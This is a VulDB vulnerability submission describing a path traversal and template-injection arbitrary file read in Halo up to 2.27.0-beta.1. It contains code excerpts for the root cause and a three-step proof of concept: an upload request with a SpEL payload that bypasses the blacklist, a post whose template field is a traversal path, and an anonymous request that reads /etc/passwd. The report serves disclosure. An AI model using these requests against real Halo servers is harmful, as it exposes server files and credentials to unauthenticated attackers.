Submit #1004845: halo-sigs Halo ≤ 2.27.0-beta.1 Arbitrary File Readinfo

Titlehalo-sigs Halo ≤ 2.27.0-beta.1 Arbitrary File Read
Description| Item | Details | | :--- | :--- | | **Vulnerability** | Path Traversal leading to SSTI & Arbitrary File Read | | **Affected Versions** | Halo $\le$ 2.27.0-beta.1 (Tested: 2.6.1) | | **Vulnerability URL** | `GET /archives/{slug}?f={filepath}` (Publicly accessible after publishing) | | **Auth Requirements** | Low-privilege user (Author) required for deployment; **Unauthenticated** for trigger | | **GitHub Repository** | https://github.com/halo-dev/halo | ## Vulnerability Description Halo's article template resolution contains a path traversal vulnerability. Users can set traversal sequences (`../`) via the `Post.spec.template` field, forcing the Thymeleaf template engine to load arbitrary `.html` files outside the `templates` directory. Attackers can pre-upload an HTML file containing a SpEL expression, reference it via path traversal, and use `org.apache.commons.io.IOUtils` (which was missed by the Thymeleaf security blacklist) to read arbitrary files from the server. Once published, the vulnerability is triggered via the public permalink (`/archives/{slug}`) with **zero authentication required**. --- ## Root Cause Analysis ### 3.1 Missing Path Traversal Validation in View Name Resolver **File**: `application/src/main/java/run/halo/app/theme/DefaultViewNameResolver.java` ```java public Mono<String> resolveViewNameOrDefault(ServerWebExchange exchange, String name, String defaultName) { if (StringUtils.isBlank(name)) { return Mono.justOrEmpty(defaultName); } return themeResolver .getTheme(exchange) .mapNotNull(themeContext -> { String templateResourceName = computeResourceName(name); // Flaw: Path.resolve does not normalize "../", only Files.exists is checked var resourcePath = themeContext.getPath().resolve(TEMPLATES).resolve(templateResourceName); return Files.exists(resourcePath) ? name : defaultName; }) .switchIfEmpty(Mono.justOrEmpty(defaultName)); } ``` ### 3.2 Unvalidated Input in `spec.template` **File**: `application/src/main/java/run/halo/app/core/endpoint/uc/UcPostEndpoint.java` ```java private static void copyEditableSpec(Post.PostSpec source, Post.PostSpec target) { target.setTitle(source.getTitle()); target.setSlug(source.getSlug()); target.setTemplate(source.getTemplate()); // ← Direct user input assignment without format validation target.setCover(source.getCover()); } ``` ### 3.3 Trigger Chain via Public Permalink Rendering **File**: `application/src/main/java/run/halo/app/theme/router/factories/PostRouteFactory.java` ```java private Mono<ServerResponse> postResponse(ServerRequest request, PostPatternVariable patternVariable) { Mono<PostVo> postVoMono = bestMatchPost(patternVariable); return postVoMono .flatMap(postVo -> { Map<String, Object> model = ModelMapUtils.postModel(postVo); return postViewNameResolver .resolveViewNameOrDefault(request, postVo) // ← Passes spec.template .flatMap(templateName -> ServerResponse.ok().render(templateName, model)); }); } ``` ### 3.4 SSTI Blacklist Bypass: Unrestricted IOUtils Halo uses a forked Thymeleaf version with a class/method blacklist for SpEL expressions, blocking dangerous classes like `Runtime`, `ProcessBuilder`, and `Files`. However, `org.apache.commons.io.IOUtils` and `org.springframework.core.io.FileSystemResource` were left off the blacklist: ```java FileSystemResource(path).getURL() → Returns file: URL (unblocked) IOUtils.toString(file_url) → Reads file contents via URLConnection.getInputStream() ``` --- ## Exploitation Steps ### Step 1: Upload SpEL Payload File *(Requires attachment upload permissions, e.g., admin or `uc-attachment-manager` role)* ```http POST /apis/uc.api.storage.halo.run/v1alpha1/attachments/-/upload HTTP/1.1 Host: target:8080 Cookie: SESSION=<YOUR_SESSION> Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="halo_lfi.html" Content-Type: text/html <!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <body><div th:text="|${T(org.apache.commons.io.IOUtils).toString(new org.springframework.core.io.FileSystemResource(param.f[0]).getURL())}|">X</div></body> </html> ------WebKitFormBoundary-- ``` ### Step 2: Create and Publish Article with Traversal Template ```http POST /apis/uc.api.content.halo.run/v1alpha1/posts HTTP/1.1 Host: target:8080 Cookie: SESSION=<YOUR_SESSION> Content-Type: application/json { "apiVersion": "content.halo.run/v1alpha1", "kind": "Post", "metadata": { "generateName": "post-", "annotations": { "content.halo.run/content-json": "{\"raw\":\"<p>t</p>\",\"content\":\"<p>t</p>\",\"rawType\":\"HTML\"}" } }, "spec": { "title": "lfi", "slug": "lfi-poc", "template": "../../../attachments/upload/halo_lfi", "deleted": false, "publish": true, "pinned": false, "priority": 0, "allowComment": true, "visible": "PUBLIC", "excerpt": {"autoGenerate": true} } } ``` ### Step 3: Read Arbitrary Files Anonymously *(Requires **no cookies** or authentication)* ```http GET /archives/lfi-poc?f=/etc/passwd HTTP/1.1 Host: target:8080
User
 BlackSpdier (UID 89912)
Submission09/29/2026 09:07 (1 month ago)
Moderation10/25/2026 10:08 (26 days later)
StatusAccepted
VulDB entry426185 [halo-dev halo up to 2.27.0-beta.1 View Name Resolver DefaultViewNameResolver.java template path traversal]
Points17

Do you want to use VulDB in your project?

Use the official API to access entries easily!